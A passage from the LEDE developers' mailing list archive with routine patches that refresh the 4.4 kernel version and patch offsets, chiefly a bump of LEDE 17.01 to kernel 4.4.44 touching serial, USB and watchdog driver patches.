@@ -28,7 +26,7 @@ index bfc4555..5ced61e 100644
  
  	sts = readl(sport->port.membase + USR1);
  	sts2 = readl(sport->port.membase + USR2);
-@@ -743,26 +744,34 @@ static irqreturn_t imx_int(int irq, void *dev_id)
+@@ -762,26 +763,34 @@ static irqreturn_t imx_int(int irq, void
  			imx_dma_rxint(sport);
  		else
  			imx_rxint(irq, dev_id);
@@ -67,6 +65,3 @@ index bfc4555..5ced61e 100644
  }
  
  /*
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch b/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
index 8978d33e6e..1c7de3fa6e 100644
--- a/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
+++ b/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
@@ -18,11 +18,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 23 ++++++++++++++++++++++-
  1 file changed, 22 insertions(+), 1 deletion(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 5ced61e..fcd48fd 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -1221,11 +1221,32 @@ static int imx_startup(struct uart_port *port)
+@@ -1184,11 +1184,32 @@ static int imx_startup(struct uart_port
  	temp |= (UCR2_RXEN | UCR2_TXEN);
  	if (!sport->have_rtscts)
  		temp |= UCR2_IRTS;
@@ -56,6 +54,3 @@ index 5ced61e..fcd48fd 100644
  		writel(temp, sport->port.membase + UCR3);
  	}
  
--- 
-1.9.1
-
diff --git a/target/linux/mediatek/patches-4.4/0019-xhci-mediatek-support-MTK-xHCI-host-controller.patch b/target/linux/mediatek/patches-4.4/0019-xhci-mediatek-support-MTK-xHCI-host-controller.patch
index 8704a79c0b..f081439f6e 100644
--- a/target/linux/mediatek/patches-4.4/0019-xhci-mediatek-support-MTK-xHCI-host-controller.patch
+++ b/target/linux/mediatek/patches-4.4/0019-xhci-mediatek-support-MTK-xHCI-host-controller.patch
@@ -1428,7 +1428,7 @@ Reviewed-by: Daniel Thompson <daniel.thompson at linaro.org>
  
  /*
   * Returns zero if the TRB isn't in this segment, otherwise it returns the DMA
-@@ -3121,17 +3122,22 @@ static u32 xhci_td_remainder(struct xhci
+@@ -3110,17 +3111,22 @@ static u32 xhci_td_remainder(struct xhci
  {
  	u32 maxp, total_packet_count;
  
@@ -1455,7 +1455,7 @@ Reviewed-by: Daniel Thompson <daniel.thompson at linaro.org>
  	/* Queueing functions don't count the current TRB into transferred */
  	return (total_packet_count - ((transferred + trb_buff_len) / maxp));
  }
-@@ -3519,7 +3525,7 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *
+@@ -3508,7 +3514,7 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *
  		field |= 0x1;
  
  	/* xHCI 1.0/1.1 6.4.1.2.1: Transfer Type field */
@@ -1487,7 +1487,7 @@ Reviewed-by: Daniel Thompson <daniel.thompson at linaro.org>
  	writel(temp, &xhci->ir_set->irq_control);
  
  	/* Set the HCD state before we enable the irqs */
-@@ -1704,6 +1709,9 @@ int xhci_drop_endpoint(struct usb_hcd *h
+@@ -1691,6 +1696,9 @@ int xhci_drop_endpoint(struct usb_hcd *h
  
  	xhci_endpoint_zero(xhci, xhci->devs[udev->slot_id], ep);
  
@@ -1497,7 +1497,7 @@ Reviewed-by: Daniel Thompson <daniel.thompson at linaro.org>
  	xhci_dbg(xhci, "drop ep 0x%x, slot id %d, new drop flags = %#x, new add flags = %#x\n",
  			(unsigned int) ep->desc.bEndpointAddress,
  			udev->slot_id,
-@@ -1799,6 +1807,15 @@ int xhci_add_endpoint(struct usb_hcd *hc
+@@ -1786,6 +1794,15 @@ int xhci_add_endpoint(struct usb_hcd *hc
  		return -ENOMEM;
  	}
  
diff --git a/target/linux/ramips/patches-4.4/0033-xhci-mediatek-support-MTK-xHCI-host-controller.patch b/target/linux/ramips/patches-4.4/0033-xhci-mediatek-support-MTK-xHCI-host-controller.patch
index 76b2d15f1c..6dfb53ea3e 100644
--- a/target/linux/ramips/patches-4.4/0033-xhci-mediatek-support-MTK-xHCI-host-controller.patch
+++ b/target/linux/ramips/patches-4.4/0033-xhci-mediatek-support-MTK-xHCI-host-controller.patch
@@ -1420,7 +1420,7 @@ Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
  
  /*
   * Returns zero if the TRB isn't in this segment, otherwise it returns the DMA
-@@ -3121,17 +3122,22 @@ static u32 xhci_td_remainder(struct xhci
+@@ -3110,17 +3111,22 @@ static u32 xhci_td_remainder(struct xhci
  {
  	u32 maxp, total_packet_count;
  
@@ -1447,7 +1447,7 @@ Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
  	/* Queueing functions don't count the current TRB into transferred */
  	return (total_packet_count - ((transferred + trb_buff_len) / maxp));
  }
-@@ -3519,7 +3525,7 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *
+@@ -3508,7 +3514,7 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *
  		field |= 0x1;
  
  	/* xHCI 1.0/1.1 6.4.1.2.1: Transfer Type field */
@@ -1479,7 +1479,7 @@ Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
  	writel(temp, &xhci->ir_set->irq_control);
  
  	/* Set the HCD state before we enable the irqs */
-@@ -1704,6 +1709,9 @@ int xhci_drop_endpoint(struct usb_hcd *h
+@@ -1691,6 +1696,9 @@ int xhci_drop_endpoint(struct usb_hcd *h
  
  	xhci_endpoint_zero(xhci, xhci->devs[udev->slot_id], ep);
  
@@ -1489,7 +1489,7 @@ Signed-off-by: Greg Kroah-Hartman <gregkh at linuxfoundation.org>
  	xhci_dbg(xhci, "drop ep 0x%x, slot id %d, new drop flags = %#x, new add flags = %#x\n",
  			(unsigned int) ep->desc.bEndpointAddress,
  			udev->slot_id,
-@@ -1799,6 +1807,15 @@ int xhci_add_endpoint(struct usb_hcd *hc
+@@ -1786,6 +1794,15 @@ int xhci_add_endpoint(struct usb_hcd *hc
  		return -ENOMEM;
  	}
  
diff --git a/target/linux/x86/patches-4.4/097-0001-sp5100_tco-Add-AMD-Mullins-platform-support.patch b/target/linux/x86/patches-4.4/097-0001-sp5100_tco-Add-AMD-Mullins-platform-support.patch
index ee88859bc6..70169abbe4 100644
--- a/target/linux/x86/patches-4.4/097-0001-sp5100_tco-Add-AMD-Mullins-platform-support.patch
+++ b/target/linux/x86/patches-4.4/097-0001-sp5100_tco-Add-AMD-Mullins-platform-support.patch
@@ -13,11 +13,9 @@ Signed-off-by: Wim Van Sebroeck <wim at iguana.be>
  drivers/watchdog/sp5100_tco.c | 2 ++
  1 file changed, 2 insertions(+)
 
-diff --git a/drivers/watchdog/sp5100_tco.c b/drivers/watchdog/sp5100_tco.c
-index eb8044e..ef039f8 100644
 --- a/drivers/watchdog/sp5100_tco.c
 +++ b/drivers/watchdog/sp5100_tco.c
-@@ -306,6 +306,8 @@ static struct miscdevice sp5100_tco_miscdev = {
+@@ -306,6 +306,8 @@ static struct miscdevice sp5100_tco_misc
  static const struct pci_device_id sp5100_tco_pci_tbl[] = {
  	{ PCI_VENDOR_ID_ATI, PCI_DEVICE_ID_ATI_SBX00_SMBUS, PCI_ANY_ID,
  	  PCI_ANY_ID, },
@@ -26,5 +24,3 @@ index eb8044e..ef039f8 100644
  	{ 0, },			/* End of list */
  };
  MODULE_DEVICE_TABLE(pci, sp5100_tco_pci_tbl);
---
-2.7.4
diff --git a/target/linux/x86/patches-4.4/097-0002-sp5100_tco-Add-AMD-Carrizo-platform-support.patch b/target/linux/x86/patches-4.4/097-0002-sp5100_tco-Add-AMD-Carrizo-platform-support.patch
index 664d4bb615..33862a25d0 100644
--- a/target/linux/x86/patches-4.4/097-0002-sp5100_tco-Add-AMD-Carrizo-platform-support.patch
+++ b/target/linux/x86/patches-4.4/097-0002-sp5100_tco-Add-AMD-Carrizo-platform-support.patch
@@ -14,11 +14,9 @@ Signed-off-by: Wim Van Sebroeck <wim at iguana.be>
  drivers/watchdog/sp5100_tco.c | 2 ++
  1 file changed, 2 insertions(+)
 
-diff --git a/drivers/watchdog/sp5100_tco.c b/drivers/watchdog/sp5100_tco.c
-index ef039f8..0ccadb4 100644
 --- a/drivers/watchdog/sp5100_tco.c
 +++ b/drivers/watchdog/sp5100_tco.c
-@@ -308,6 +308,8 @@ static const struct pci_device_id sp5100_tco_pci_tbl[] = {
+@@ -308,6 +308,8 @@ static const struct pci_device_id sp5100
  	  PCI_ANY_ID, },
  	{ PCI_VENDOR_ID_AMD, PCI_DEVICE_ID_AMD_HUDSON2_SMBUS, PCI_ANY_ID,
  	  PCI_ANY_ID, },
@@ -27,5 +25,3 @@ index ef039f8..0ccadb4 100644
  	{ 0, },			/* End of list */
  };
  MODULE_DEVICE_TABLE(pci, sp5100_tco_pci_tbl);
---
-2.7.4
diff --git a/target/linux/x86/patches-4.4/097-0003-sp5100_tco-fix-the-device-check-for-SB800-and-later-chipsets.patch b/target/linux/x86/patches-4.4/097-0003-sp5100_tco-fix-the-device-check-for-SB800-and-later-chipsets.patch
index e9f451394f..8f16fa9906 100644
--- a/target/linux/x86/patches-4.4/097-0003-sp5100_tco-fix-the-device-check-for-SB800-and-later-chipsets.patch
+++ b/target/linux/x86/patches-4.4/097-0003-sp5100_tco-fix-the-device-check-for-SB800-and-later-chipsets.patch
@@ -15,19 +15,17 @@ Signed-off-by: Wim Van Sebroeck <wim at iguana.be>
  drivers/watchdog/sp5100_tco.c | 28 ++++++++++++++++------------
  1 file changed, 16 insertions(+), 12 deletions(-)
 
-diff --git a/drivers/watchdog/sp5100_tco.c b/drivers/watchdog/sp5100_tco.c
-index 0ccadb4..6467b91 100644
 --- a/drivers/watchdog/sp5100_tco.c
 +++ b/drivers/watchdog/sp5100_tco.c
-@@ -335,21 +335,24 @@ static unsigned char sp5100_tco_setupdevice(void)
+@@ -335,21 +335,24 @@ static unsigned char sp5100_tco_setupdev
  	if (!sp5100_tco_pci)
  		return 0;
-
+ 
 -	pr_info("PCI Revision ID: 0x%x\n", sp5100_tco_pci->revision);
 +	pr_info("PCI Vendor ID: 0x%x, Device ID: 0x%x, Revision ID: 0x%x\n",
 +		sp5100_tco_pci->vendor, sp5100_tco_pci->device,
 +		sp5100_tco_pci->revision);
-
+ 
  	/*
  	 * Determine type of southbridge chipset.
  	 */
@@ -49,9 +47,9 @@ index 0ccadb4..6467b91 100644
 +		data_reg = SB800_IO_PM_DATA_REG;
 +		base_addr = SB800_PM_WATCHDOG_BASE;
  	}
-
+ 
  	/* Request the IO ports used by this driver */
-@@ -385,7 +388,12 @@ static unsigned char sp5100_tco_setupdevice(void)
+@@ -385,7 +388,12 @@ static unsigned char sp5100_tco_setupdev
  	 * Secondly, Find the watchdog timer MMIO address
  	 * from SBResource_MMIO register.
  	 */
@@ -65,7 +63,7 @@ index 0ccadb4..6467b91 100644
  		/* Read SBResource_MMIO from AcpiMmioEn(PM_Reg: 24h) */
  		outb(SB800_PM_ACPI_MMIO_EN+3, SB800_IO_PM_INDEX_REG);
  		val = inb(SB800_IO_PM_DATA_REG);
-@@ -395,10 +403,6 @@ static unsigned char sp5100_tco_setupdevice(void)
+@@ -395,10 +403,6 @@ static unsigned char sp5100_tco_setupdev
  		val = val << 8 | inb(SB800_IO_PM_DATA_REG);
  		outb(SB800_PM_ACPI_MMIO_EN+0, SB800_IO_PM_INDEX_REG);
  		val = val << 8 | inb(SB800_IO_PM_DATA_REG);
@@ -74,7 +72,5 @@ index 0ccadb4..6467b91 100644
 -		pci_read_config_dword(sp5100_tco_pci,
 -				      SP5100_SB_RESOURCE_MMIO_BASE, &val);
  	}
-
+ 
  	/* The SBResource_MMIO is enabled and mapped memory space? */
---
-2.7.4
diff --git a/target/linux/x86/patches-4.4/097-0004-watchdog-sp5100_tco-properly-check-for-new-register-.patch b/target/linux/x86/patches-4.4/097-0004-watchdog-sp5100_tco-properly-check-for-new-register-.patch
index cb7fe98cba..103aa4853d 100644
--- a/target/linux/x86/patches-4.4/097-0004-watchdog-sp5100_tco-properly-check-for-new-register-.patch
+++ b/target/linux/x86/patches-4.4/097-0004-watchdog-sp5100_tco-properly-check-for-new-register-.patch
@@ -25,11 +25,9 @@ Signed-off-by: Wim Van Sebroeck <wim at iguana.be>
  drivers/watchdog/sp5100_tco.c | 15 ++++++++++-----
  1 file changed, 10 insertions(+), 5 deletions(-)
 
-diff --git a/drivers/watchdog/sp5100_tco.c b/drivers/watchdog/sp5100_tco.c
-index 6467b91..028618c 100644
 --- a/drivers/watchdog/sp5100_tco.c
 +++ b/drivers/watchdog/sp5100_tco.c
-@@ -73,6 +73,13 @@ MODULE_PARM_DESC(nowayout, "Watchdog cannot be stopped once started."
+@@ -73,6 +73,13 @@ MODULE_PARM_DESC(nowayout, "Watchdog can
  /*
   * Some TCO specific functions
   */
@@ -46,13 +44,13 @@ index 6467b91..028618c 100644
 @@ -129,7 +136,7 @@ static void tco_timer_enable(void)
  {
  	int val;
-
+ 
 -	if (sp5100_tco_pci->revision >= 0x40) {
 +	if (!tco_has_sp5100_reg_layout(sp5100_tco_pci)) {
  		/* For SB800 or later */
  		/* Set the Watchdog timer resolution to 1 sec */
  		outb(SB800_PM_WATCHDOG_CONFIG, SB800_IO_PM_INDEX_REG);
-@@ -342,8 +349,7 @@ static unsigned char sp5100_tco_setupdevice(void)
+@@ -342,8 +349,7 @@ static unsigned char sp5100_tco_setupdev
  	/*
  	 * Determine type of southbridge chipset.
  	 */
@@ -62,7 +60,7 @@ index 6467b91..028618c 100644
  		dev_name = SP5100_DEVNAME;
  		index_reg = SP5100_IO_PM_INDEX_REG;
  		data_reg = SP5100_IO_PM_DATA_REG;
-@@ -388,8 +394,7 @@ static unsigned char sp5100_tco_setupdevice(void)
+@@ -388,8 +394,7 @@ static unsigned char sp5100_tco_setupdev
  	 * Secondly, Find the watchdog timer MMIO address
  	 * from SBResource_MMIO register.
  	 */
@@ -72,5 +70,3 @@ index 6467b91..028618c 100644
  		/* Read SBResource_MMIO from PCI config(PCI_Reg: 9Ch) */
  		pci_read_config_dword(sp5100_tco_pci,
  				      SP5100_SB_RESOURCE_MMIO_BASE, &val);
---
-2.7.4
-- 
2.11.0



From francesco.borromini at inventati.org  Sat Jan 21 09:30:57 2017
From: francesco.borromini at inventati.org (Stijn Segers)
Date: Sat, 21 Jan 2017 18:30:57 +0100
Subject: [LEDE-DEV] [PATCH] Kernel: bump LEDE 17.01 kernel to 4.4.44
Message-ID: <20170121173057.14455-1-francesco.borromini@inventati.org>

This bumps the 4.4 kernel for 17.01 to .44 as well.

Compile-tested on ar71xx, ramips/mt7621 and x86/64.

Run-tested on ar71xx and mt7621.

Signed-off-by: Stijn Segers <francesco.borromini at inventati.org>
---
 include/kernel-version.mk                                |  4 ++--
 .../ar71xx/patches-4.4/910-unaligned_access_hacks.patch  |  4 ++--
 .../0111-mm-Remove-the-PFN-busy-warning.patch            |  2 +-
 .../680-NET-skip-GRO-for-foreign-MAC-addresses.patch     | 10 +++++-----
 .../110-serial-imx-repair-and-complete-handshaking.patch | 16 ++++++----------
 .../patches-4.4/111-serial-imx-fix-polarity-of-RI.patch  |  7 +------
 ...l-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch |  9 ++-------
 ...erial-imx-make-sure-unhandled-irqs-are-disabled.patch |  7 +------
 ...-xhci-mediatek-support-MTK-xHCI-host-controller.patch |  8 ++++----
 ...-xhci-mediatek-support-MTK-xHCI-host-controller.patch |  8 ++++----
 10 files changed, 28 insertions(+), 47 deletions(-)

diff --git a/include/kernel-version.mk b/include/kernel-version.mk
index efd58e1462..199c2adb58 100644
--- a/include/kernel-version.mk
+++ b/include/kernel-version.mk
@@ -3,10 +3,10 @@
 LINUX_RELEASE?=1
 
 LINUX_VERSION-3.18 = .43
-LINUX_VERSION-4.4 = .42
+LINUX_VERSION-4.4 = .44
 
 LINUX_KERNEL_HASH-3.18.43 = 1236e8123a6ce537d5029232560966feed054ae31776fe8481dd7d18cdd5492c
-LINUX_KERNEL_HASH-4.4.42 = 324747568e92f203e3ee5ec8b291a868f58b870f1ad214fa64aa3507ed42e878
+LINUX_KERNEL_HASH-4.4.44 = fabdcf2703f22a5b8aa3a3407909f18fdeea610c3d0f418fdc29123ed04de748
 
 ifdef KERNEL_PATCHVER
   LINUX_VERSION:=$(KERNEL_PATCHVER)$(strip $(LINUX_VERSION-$(KERNEL_PATCHVER)))
diff --git a/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch b/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
index 21cad91161..2c014429f2 100644
--- a/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
+++ b/target/linux/ar71xx/patches-4.4/910-unaligned_access_hacks.patch
@@ -491,7 +491,7 @@
  		memcpy(p, foc->val, foc->len);
 --- a/net/ipv4/igmp.c
 +++ b/net/ipv4/igmp.c
-@@ -500,7 +500,7 @@ static struct sk_buff *add_grec(struct s
+@@ -505,7 +505,7 @@ static struct sk_buff *add_grec(struct s
  		if (!skb)
  			return NULL;
  		psrc = (__be32 *)skb_put(skb, sizeof(__be32));
@@ -610,7 +610,7 @@
  			goto next_ht;
 --- a/net/ipv6/ip6_offload.c
 +++ b/net/ipv6/ip6_offload.c
-@@ -221,7 +221,7 @@ static struct sk_buff **ipv6_gro_receive
+@@ -222,7 +222,7 @@ static struct sk_buff **ipv6_gro_receive
  			continue;
  
  		iph2 = (struct ipv6hdr *)(p->data + off);
diff --git a/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch b/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
index f643ec883c..a0602807ba 100644
--- a/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
+++ b/target/linux/brcm2708/patches-4.4/0111-mm-Remove-the-PFN-busy-warning.patch
@@ -14,7 +14,7 @@ Signed-off-by: Eric Anholt <eric at anholt.net>
 
 --- a/mm/page_alloc.c
 +++ b/mm/page_alloc.c
-@@ -6782,8 +6782,6 @@ int alloc_contig_range(unsigned long sta
+@@ -6785,8 +6785,6 @@ int alloc_contig_range(unsigned long sta
  
  	/* Make sure the range is really isolated. */
  	if (test_pages_isolated(outer_start, end, false)) {
diff --git a/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch b/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
index 698d394b8c..eff8e829a6 100644
--- a/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
+++ b/target/linux/generic/patches-4.4/680-NET-skip-GRO-for-foreign-MAC-addresses.patch
@@ -17,7 +17,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
 
 --- a/net/core/dev.c
 +++ b/net/core/dev.c
-@@ -4222,6 +4222,9 @@ static enum gro_result dev_gro_receive(s
+@@ -4224,6 +4224,9 @@ static enum gro_result dev_gro_receive(s
  	enum gro_result ret;
  	int grow;
  
@@ -27,7 +27,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	if (!(skb->dev->features & NETIF_F_GRO))
  		goto normal;
  
-@@ -5381,6 +5384,48 @@ static void __netdev_adjacent_dev_unlink
+@@ -5383,6 +5386,48 @@ static void __netdev_adjacent_dev_unlink
  					   &upper_dev->adj_list.lower);
  }
  
@@ -76,7 +76,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  static int __netdev_upper_dev_link(struct net_device *dev,
  				   struct net_device *upper_dev, bool master,
  				   void *private)
-@@ -5452,6 +5497,7 @@ static int __netdev_upper_dev_link(struc
+@@ -5454,6 +5499,7 @@ static int __netdev_upper_dev_link(struc
  			goto rollback_lower_mesh;
  	}
  
@@ -84,7 +84,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	call_netdevice_notifiers_info(NETDEV_CHANGEUPPER, dev,
  				      &changeupper_info.info);
  	return 0;
-@@ -5578,6 +5624,7 @@ void netdev_upper_dev_unlink(struct net_
+@@ -5580,6 +5626,7 @@ void netdev_upper_dev_unlink(struct net_
  	list_for_each_entry(i, &upper_dev->all_adj_list.upper, list)
  		__netdev_adjacent_dev_unlink(dev, i->dev, i->ref_nr);
  
@@ -92,7 +92,7 @@ Signed-off-by: Felix Fietkau <nbd at nbd.name>
  	call_netdevice_notifiers_info(NETDEV_CHANGEUPPER, dev,
  				      &changeupper_info.info);
  }
-@@ -6118,6 +6165,7 @@ int dev_set_mac_address(struct net_devic
+@@ -6120,6 +6167,7 @@ int dev_set_mac_address(struct net_devic
  	if (err)
  		return err;
  	dev->addr_assign_type = NET_ADDR_SET;
diff --git a/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
index 0a117f668f..82715b0cda 100644
--- a/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
+++ b/target/linux/imx6/patches-4.4/110-serial-imx-repair-and-complete-handshaking.patch
@@ -19,8 +19,6 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 23 +++++++++++++++++------
  1 file changed, 17 insertions(+), 6 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 76818f5..086675e 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
 @@ -148,8 +148,11 @@
@@ -35,7 +33,7 @@ index 76818f5..086675e 100644
  #define USR2_RTSF	 (1<<4)	 /* RTS edge interrupt flag */
  #define USR2_TXDC	 (1<<3)	 /* Transmitter complete */
  #define USR2_BRCD	 (1<<2)	 /* Break condition */
-@@ -804,16 +807,19 @@ static unsigned int imx_tx_empty(struct uart_port *port)
+@@ -804,16 +807,19 @@ static unsigned int imx_tx_empty(struct
  static unsigned int imx_get_mctrl(struct uart_port *port)
  {
  	struct imx_port *sport = (struct imx_port *)port;
@@ -49,19 +47,20 @@ index 76818f5..086675e 100644
  
 -	if (readl(sport->port.membase + UCR2) & UCR2_CTS)
 -		tmp |= TIOCM_RTS;
+-
+-	if (readl(sport->port.membase + uts_reg(sport)) & UTS_LOOP)
+-		tmp |= TIOCM_LOOP;
 +	/* in DCE mode DCDIN is always 0 */
 +	if (!(usr1 & USR2_DCDIN))
 +		tmp |= TIOCM_CAR;
- 
--	if (readl(sport->port.membase + uts_reg(sport)) & UTS_LOOP)
--		tmp |= TIOCM_LOOP;
++
 +	/* in DCE mode RIIN is always 0 */
 +	if (readl(sport->port.membase + USR2) & USR2_RIIN)
 +		tmp |= TIOCM_RI;
  
  	return tmp;
  }
-@@ -831,6 +837,11 @@ static void imx_set_mctrl(struct uart_port *port, unsigned int mctrl)
+@@ -831,6 +837,11 @@ static void imx_set_mctrl(struct uart_po
  		writel(temp, sport->port.membase + UCR2);
  	}
  
@@ -73,6 +72,3 @@ index 76818f5..086675e 100644
  	temp = readl(sport->port.membase + uts_reg(sport)) & ~UTS_LOOP;
  	if (mctrl & TIOCM_LOOP)
  		temp |= UTS_LOOP;
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
index a06557542a..0288298163 100644
--- a/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
+++ b/target/linux/imx6/patches-4.4/111-serial-imx-fix-polarity-of-RI.patch
@@ -16,11 +16,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 6 +++---
  1 file changed, 3 insertions(+), 3 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 231e7d5..bfc4555 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -797,9 +797,9 @@ static unsigned int imx_get_hwmctrl(struct imx_port *sport)
+@@ -817,9 +817,9 @@ static unsigned int imx_get_mctrl(struct
  	if (!(usr1 & USR2_DCDIN))
  		tmp |= TIOCM_CAR;
  
@@ -33,6 +31,3 @@ index 231e7d5..bfc4555 100644
  
  	return tmp;
  }
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch b/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
index 0b803b7bda..a4f2951590 100644
--- a/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
+++ b/target/linux/imx6/patches-4.4/112-serial-imx-let-irq-handler-return-IRQ_NONE-if-no-eve.patch
@@ -16,11 +16,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 17 +++++++++++++----
  1 file changed, 13 insertions(+), 4 deletions(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index bfc4555..5ced61e 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -734,6 +734,7 @@ static irqreturn_t imx_int(int irq, void *dev_id)
+@@ -753,6 +753,7 @@ static irqreturn_t imx_int(int irq, void
  	struct imx_port *sport = dev_id;
  	unsigned int sts;
  	unsigned int sts2;
@@ -28,7 +26,7 @@ index bfc4555..5ced61e 100644
  
  	sts = readl(sport->port.membase + USR1);
  	sts2 = readl(sport->port.membase + USR2);
-@@ -743,26 +744,34 @@ static irqreturn_t imx_int(int irq, void *dev_id)
+@@ -762,26 +763,34 @@ static irqreturn_t imx_int(int irq, void
  			imx_dma_rxint(sport);
  		else
  			imx_rxint(irq, dev_id);
@@ -67,6 +65,3 @@ index bfc4555..5ced61e 100644
  }
  
  /*
--- 
-1.9.1
-
diff --git a/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch b/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
index 8978d33e6e..1c7de3fa6e 100644
--- a/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
+++ b/target/linux/imx6/patches-4.4/113-serial-imx-make-sure-unhandled-irqs-are-disabled.patch
@@ -18,11 +18,9 @@ Signed-off-by: Petr ?tetiar <ynezz at true.cz>
  drivers/tty/serial/imx.c | 23 ++++++++++++++++++++++-
  1 file changed, 22 insertions(+), 1 deletion(-)
 
-diff --git a/drivers/tty/serial/imx.c b/drivers/tty/serial/imx.c
-index 5ced61e..fcd48fd 100644
 --- a/drivers/tty/serial/imx.c
 +++ b/drivers/tty/serial/imx.c
-@@ -1221,11 +1221,32 @@ static int imx_startup(struct uart_port *port)
+@@ -1184,11 +1184,32 @@ static int imx_startup(struct uart_port
  	temp |= (UCR2_RXEN | UCR2_TXEN);
  	if (!sport->have_rtscts)
  		temp |= UCR2_IRTS;
@@ -56,6 +54,3 @@ index 5ced61e..fcd48fd 100644
  		writel(temp, sport->port.membase + UCR3);
  	}
  
--- 
-1.9.1
-
diff --git a/target/linux/mediatek/patches-4.4/0019-xhci-mediatek-support-MTK-xHCI-host-controller.patch b/target/linux/mediatek/patches-4.4/0019-xhci-mediatek-support-MTK-xHCI-host-controller.patch
index 8704a79c0b..f081439f6e 100644
--- a/target/linux/mediatek/patches-4.4/0019-xhci-mediatek-support-MTK-xHCI-host-controller.patch
+++ b/target/linux/mediatek/patches-4.4/0019-xhci-mediatek-support-MTK-xHCI-host-controller.patch
@@ -1428,7 +1428,7 @@ Reviewed-by: Daniel Thompson <daniel.thompson at linaro.org>
  
  /*
   * Returns zero if the TRB isn't in this segment, otherwise it returns the DMA
-@@ -3121,17 +3122,22 @@ static u32 xhci_td_remainder(struct xhci
+@@ -3110,17 +3111,22 @@ static u32 xhci_td_remainder(struct xhci
  {
  	u32 maxp, total_packet_count;
  
@@ -1455,7 +1455,7 @@ Reviewed-by: Daniel Thompson <daniel.thompson at linaro.org>
  	/* Queueing functions don't count the current TRB into transferred */
  	return (total_packet_count - ((transferred + trb_buff_len) / maxp));
  }
-@@ -3519,7 +3525,7 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *
+@@ -3508,7 +3514,7 @@ int xhci_queue_ctrl_tx(struct xhci_hcd *
  		field |= 0x1;
  
  	/* xHCI 1.0/1.1 6.4.1.2.1: Transfer Type field */
@@ -1487,7 +1487,7 @@ Reviewed-by: Daniel Thompson <daniel.thompson at linaro.org>
  	writel(temp, &xhci->ir_set->irq_control);
  
  	/* Set the HCD state before we enable the irqs */
-@@ -1704,6 +1709,9 @@ int xhci_drop_endpoint(struct usb_hcd *h
+@@ -1691,6 +1696,9 @@ int xhci_drop_endpoint(struct usb_hcd *h
  
  	xhci_endpoint_zero(xhci, xhci->devs[udev->slot_id], ep);
  
@@ -1497,7 +1497,7 @@ Reviewed-by: Daniel Thompson <daniel.thompson at linaro.org>
  	xhci_dbg(xhci, "drop ep 0x%x, slot id %d, new drop flags = %#x, new add flags = %#x\n",
  			(unsigned int) ep->desc.bEndpointAddress,
  			udev->slot_id,
-@@ -1799,6 +1807,15 @@ int xhci_add_endpoint(struct usb_hcd *hc
+@@ -1786,6 +1794,15 @@ int xhci_add_endpoint(struct usb_hcd *hc
  		return -ENOMEM;
  	}
  
